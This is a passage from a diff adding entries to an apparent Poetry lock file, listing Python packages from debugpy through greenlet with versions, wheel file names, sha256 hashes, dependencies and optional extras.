+ {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"},
+ {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"},
+ {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"},
+ {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"},
+ {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"},
+ {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"},
+ {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"},
+ {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"},
+ {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"},
+ {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"},
+ {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"},
+ {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"},
+ {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"},
+ {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"},
+]
+
+[[package]]
+name = "elastic-transport"
+version = "8.4.0"
+description = "Transport classes and utilities shared among Python Elastic client libraries"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"},
+ {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"},
+]
+
+[package.dependencies]
+certifi = "*"
+urllib3 = ">=1.26.2,<2"
+
+[package.extras]
+develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"]
+
+[[package]]
+name = "elasticsearch"
+version = "8.8.2"
+description = "Python client for Elasticsearch"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "elasticsearch-8.8.2-py3-none-any.whl", hash = "sha256:bffd6ce4faaacf90e6f617241773b3da8fb94e2e83554f5508e2fab92ca79643"},
+ {file = "elasticsearch-8.8.2.tar.gz", hash = "sha256:bed8cf8fcc6c3be7c254b579de4c29afab021f373c832246f912d37aef3c6bd5"},
+]
+
+[package.dependencies]
+elastic-transport = ">=8,<9"
+
+[package.extras]
+async = ["aiohttp (>=3,<4)"]
+requests = ["requests (>=2.4.0,<3.0.0)"]
+
+[[package]]
+name = "fastapi"
+version = "0.82.0"
+description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"},
+ {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"},
+]
+
+[package.dependencies]
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+starlette = "0.19.1"
+
+[package.extras]
+all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"]
+test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"]
+
+[[package]]
+name = "fastapi-class"
+version = "2.0.0"
+description = "Classes and Decorators to use FastAPI with Class based routing"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"},
+ {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"},
+]
+
+[package.dependencies]
+fastapi = ">=0.65.2,<0.90.0"
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+
+[package.extras]
+lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"]
+test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"]
+
+[[package]]
+name = "filelock"
+version = "3.12.2"
+description = "A platform independent file lock."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "filelock-3.12.2-py3-none-any.whl", hash = "sha256:cbb791cdea2a72f23da6ac5b5269ab0a0d161e9ef0100e653b69049a7706d1ec"},
+ {file = "filelock-3.12.2.tar.gz", hash = "sha256:002740518d8aa59a26b0c76e10fb8c6e15eae825d34b6fdf670333fd7b938d81"},
+]
+
+[package.extras]
+docs = ["furo (>=2023.5.20)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"]
+testing = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "diff-cover (>=7.5)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)", "pytest-timeout (>=2.1)"]
+
+[[package]]
+name = "flake8"
+version = "5.0.4"
+description = "the modular source code checker: pep8 pyflakes and co"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"},
+ {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"},
+]
+
+[package.dependencies]
+mccabe = ">=0.7.0,<0.8.0"
+pycodestyle = ">=2.9.0,<2.10.0"
+pyflakes = ">=2.5.0,<2.6.0"
+
+[[package]]
+name = "frozenlist"
+version = "1.3.3"
+description = "A list-like structure which implements collections.abc.MutableSequence"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"},
+ {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"},
+]
+
+[[package]]
+name = "fsspec"
+version = "2023.6.0"
+description = "File-system specification"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fsspec-2023.6.0-py3-none-any.whl", hash = "sha256:1cbad1faef3e391fba6dc005ae9b5bdcbf43005c9167ce78c915549c352c869a"},
+ {file = "fsspec-2023.6.0.tar.gz", hash = "sha256:d0b2f935446169753e7a5c5c55681c54ea91996cc67be93c39a154fb3a2742af"},
+]
+
+[package.extras]
+abfs = ["adlfs"]
+adl = ["adlfs"]
+arrow = ["pyarrow (>=1)"]
+dask = ["dask", "distributed"]
+devel = ["pytest", "pytest-cov"]
+dropbox = ["dropbox", "dropboxdrivefs", "requests"]
+full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "dask", "distributed", "dropbox", "dropboxdrivefs", "fusepy", "gcsfs", "libarchive-c", "ocifs", "panel", "paramiko", "pyarrow (>=1)", "pygit2", "requests", "s3fs", "smbprotocol", "tqdm"]
+fuse = ["fusepy"]
+gcs = ["gcsfs"]
+git = ["pygit2"]
+github = ["requests"]
+gs = ["gcsfs"]
+gui = ["panel"]
+hdfs = ["pyarrow (>=1)"]
+http = ["aiohttp (!=4.0.0a0,!=4.0.0a1)", "requests"]
+libarchive = ["libarchive-c"]
+oci = ["ocifs"]
+s3 = ["s3fs"]
+sftp = ["paramiko"]
+smb = ["smbprotocol"]
+ssh = ["paramiko"]
+tqdm = ["tqdm"]
+
+[[package]]
+name = "greenlet"
+version = "2.0.2"
+description = "Lightweight in-process concurrent programming"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+files = [
+ {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"},
+ {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"},
+ {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"},
+ {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"},
+ {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"},
+ {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"},
+ {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"},
+ {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"},
+ {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"},
+ {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"},
+ {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"},
+ {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"},
+ {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"},
